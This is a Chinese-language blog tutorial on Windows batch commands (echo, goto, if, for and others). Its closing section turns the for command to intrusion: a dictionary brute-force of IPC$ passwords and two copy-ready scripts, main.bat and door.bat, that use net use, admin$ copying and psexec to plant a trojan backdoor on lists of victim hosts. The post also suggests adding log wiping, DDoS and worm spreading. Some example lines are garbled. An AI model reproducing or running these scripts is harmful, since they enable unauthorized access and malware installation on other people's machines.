close
■前言
========================

批處理檔案是無格式的文字檔案,包含一條或多條指令,檔案副檔名為 .bat或 .cmd。按兩下該批處理檔案,系統就會調用cmd.exe,順序並逐個執行檔案中的各個指令,簡化日常或重複性任務。

■一.簡單批處理內部指令簡介
========================

▲1. echo 指令
說明:顯示資訊,或將指令回顯開啟或關上。要顯示目前回顯設定,輸入不帶參數的 echo。
用法:echo [on|off]
echo [message]
例如:
@echo off
echo hello world
備註:可將此指令和重定向符號(也稱管道符號,一般用> >> ^)結合起來實現輸入一些指令到特定檔案中。

▲2. @ 指令
說明:@後面的指令將不會顯示。
例如:
@echo off
@echo 初始化程式,請稍候…
@format X: /q

▲3. goto 指令
說明:跳轉到指定標籤,程式將執行指定標籤下一行開始的指令。
用法:goto lable
例如:
if {%1}=={} goto noparms
if {%2}=={}nul
作用:不顯示資訊,有利於用戶自訂資訊。

▲4. rem 指令
說明:註解指令,不會被執行,只是起一個註解的作用,便於別人閱讀和自己以後修改。
用法:rem message
例如:@rem 取得目前日期及時間

▲5. pause 指令
說明:將程式掛起,按任意鍵後繼續執行。
例 1:pause
顯示:請按任意鍵繼續. . .
例 2:pause >nul
作用:不顯示資訊,有利於用戶自訂資訊。

▲6. call 指令
說明:從批處理程式調用另一個批處理程式。call 指令允許調用目標標籤。
用法:call [drive:][path]filename [batch-parameters] [:label [arguments]]
例如:call d:\backdoor.bat
備註:檔案副檔名必須是 .bat 或 .cmd。

▲7. start 指令
說明:啟動另一個視窗執行指定的程式或指令。
例如:start "指令行" /dC:\ cmd
分析:在新視窗中開啟cmd.exe,並以「指令行」為標題,初始目錄為C盤。

▲8. choice 指令
說明:讓用戶輸入一個字元,從而執行不同的指令。使用時應該加參數/c:,/c:後為提示可輸入的字元,之間無空格。它的返回碼依序為1, 2, 3, 4……
例如:
@echo off
choice /c:dme /m "defrag,mem,end"
rem 應先判斷數值最高的返回碼
if errorlevel 3 goto end
if errorlevel 2 goto mem
if errorlevel 1 goto defrag
:defrag
echo defrag
goto end
:mem
echo mem
:end
echo good bye
分析:此檔案執行後,將顯示「defrag,mem,end [D,M,E]?」,用戶可選擇d,m或e,然後if語句進行判斷,d表示執行標號為defrag的程式段,m表示執行標號為mem的程式段,e表示執行標號為end的程式段。

▲9. if 指令
說明:判斷是否符合規定的條件,從而決定執行不同的指令。
用法:if [not] errorlevel number command
if [not] string1==string2 command
if [not] exist filename command
例 1:if errorlevel 2 goto x2
作用:如果返回碼等於2,程式則跳轉到標籤為x2的行執行。
備註:DOS程式執行時會返回一個數字,即errorlevel,稱為錯誤碼或返回碼,常見的返回碼為0、1。
例 2:if 「%1」==」a」 format a:
作用:如果參數為a,則格式化A盤。
例 3:if not exist config.sys echo 檔案不存在
作用:如果檔案config.sys不存在,則顯示「檔案不存在」。

▲10. for 指令
說明:在指定的範圍內循環執行指令。
備註:在批處理檔案中使用 for 指令時,指定變數請使用 %%variable,而不要用 %variable。
用法:for {%variable|%%variable} in (set) do command [command-parameters]
參數:%variable 變數。只能是單一字母,分大小寫和全局,所以 %i 不同於 %I。
(set) 一個或一組檔案。可以使用萬用字元。
command 對每個檔案執行的指令。
command-parameters 指令行開關。

帶指令行開關的 for 指令:

用法:for /d %variable in (set) do command [command-parameters]
說明:如果集中包含萬用字元,則指定與目錄名核對,而不與檔案名稱核對。(directory)
例 1:for /d %i in (*) do @echo %i
作用:枚舉目前目錄下的子目錄名。
例 2:for /d %i in (*g*) do @echo %i
作用:枚舉目前目錄下的子目錄名含g的名稱。

用法:for /r [[drive:]path] %variable in (set) do command [command-parameters]
說明:檢查以 [drive:]path 為根的目錄樹。如果在 /r 後沒有指定目錄,則使用目前目錄。如果集僅為一個單點(.)字元,則枚舉該目錄樹。 (root)
例 3:for /r %i in (.) do @echo %i
作用:枚舉目前目錄下的全部子目錄名路徑。
例 4:for /r %i in (*) do @echo %i
作用:枚舉目前目錄及子目錄下的全部檔案名稱路徑。

用法:for /l %variable in (start,step,end) do command [command-parameters]
說明:以增量形式從開始到結束一個數字序列。(list)
例 5:for /l %i in (1,1,5) do @echo %i
作用:產生序列 1 2 3 4 5。
例 6:for /l %i in (5,-1,1) do @echo %i
作用:產生序列 5 4 3 2 1。

用法:for /f ["options"] %variable in (file-set) do command [command-parameters]
for /f ["options"] %variable in ("string") do command [command-parameters]
for /f ["options"] %variable in ('command') do command [command-parameters]
說明:file-set為一個或多個檔案名稱。/f 分析每個檔案的每一行,跳過空白行。"options" 關鍵字:
eol=c - 行註解字元的結尾(就一個)
skip=n - 在檔案開始時略過的行數。
delims=xxx - 分隔符集。取代空格和跳格鍵的預設分隔符集。
tokens=x,y,m-n - 每行的哪一個符號被傳遞到每個迭代的 for 本身。
這會導致額外變數名稱的分配。m-n格式為一個範圍。
透過 nth 符號指定 mth。如果符號字串中的最後一個字元星號,
那麼額外的變數將在最後一個符號解析之後分配並接受行的保留文字。
usebackq
在作為指令執行一個後引號的字串並且一個單
引號字元為文字字串指令並允許在 filenameset
中使用雙引號擴起檔案名稱。
例 7:for /f "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do @echo %i %j %k
作用:分析 myfile.txt 中的不以分號開頭(eol=;)的行,將每行按逗號和空格分成幾段(delims=; ),再將每行的第2段、第3段及第3段以後的剩餘段分別賦值給變數%i、%j、%k。對於帶有空格的檔案名稱,需要用雙引號將檔案名稱括起來。

透過 tokens= 最多可以指定 26 個符號,for變數最多可以同時使用52個 。
在相鄰字串上可以使用 for /f 分析邏輯;方法是,用單引號將括號之間的 file-set 括起來。這樣,該字串會被當作一個檔案中的一個單一輸入行。
最後,您可以用 for /f 指令來分析指令的輸出。方法是,將括號之間的 file-set 變成一個反括字串(Esc鍵下面的按鍵)。該字串會被當作指令行,傳遞到一個子 cmd.exe,其輸出會被抓進記憶體,並被當作檔案分析。

例 8:for /f "usebackq delims==" %i in (`set`) do @echo %i
作用:枚舉目前環境中的環境變數名稱。

下面我們舉幾個例子來具體說明一下for指令在入侵中的用途。

例 9:for /f %%i in (dict.txt) do net use \\ip\ipc$>D:\ok.txt
分析:利用for指令來實現對一台目標winnt主機的暴力密碼破解。我們用net use指令嘗試和目標主機進行連接,當成功時記下密碼。用%i來表示administrator的密碼,%i的值在dict.txt中取得,然後將程式運行結果傳遞給find指令,ok.txt中的值即為目標主機的密碼。

例10:for /f 「tokens=1,2,3 delims= 」 %%i in (victim.txt) do start call door.bat %%i %%j %%k
分析:自動給大量肉雞種後門和木馬。該指令按順序將victim.txt中的內容傳遞給door.bat中的參數%i %j %k。
而cultivate.bat無非就是用net use指令來建立ipc$連接,並copy木馬+後門到victim,然後用返回碼(if errorlever =)來過濾器成功種植後門的主機,並echo出來,或者echo到指定的檔案。
delims= 表示vivtim.txt中的內容是一空格來分隔的。所以victim.txt裡的內容應該根據%%i %%j %%k表示的對象來排列,一般就是「IP位址 密碼 帳號」。

代碼雛形:
========================= 從這裡開始複製,儲存為main.bat =========================
@echo off
@if "%1"=="" goto usage
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
@goto end
:usage
@echo 執行此批處理檔案
:end
========================= 到這裡結束複製,儲存為main.bat =========================

========================= 從這裡開始複製,儲存為door.bat =========================
@net use \\%1\ipc$ %3 /user:"%2"
@if errorlevel 1 goto failed
@echo 嘗試建立 IPC$ 連接 ………… 成功
@copy windrv32.exe \\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ok.txt
@psexec \\%1 c:\windows\system32\windrv32.exe
@psexec \\%1 net start windrv32 && if not errorlevel 1 echo %1 後門>>ok.txt
:failed
@echo 不能連線到此主機
========================= 到這裡結束複製,儲存為door.bat =========================

這只是一個自動種植後門批處理的雛形,兩個批處理和後門程式(Windrv32.exe,PSexec.exe)需放在同一目錄下。批處理內容尚可擴充,例如:加入清除日誌和DDOS的功能,加入定時新增用戶的功能,更深入一點可以使之具備自動傳播功能(蠕蟲)。此處不多做敘述,有興趣的朋友可自行研究。
arrow
arrow
    全站熱搜

    hses 發表在 痞客邦 留言(0) 人氣()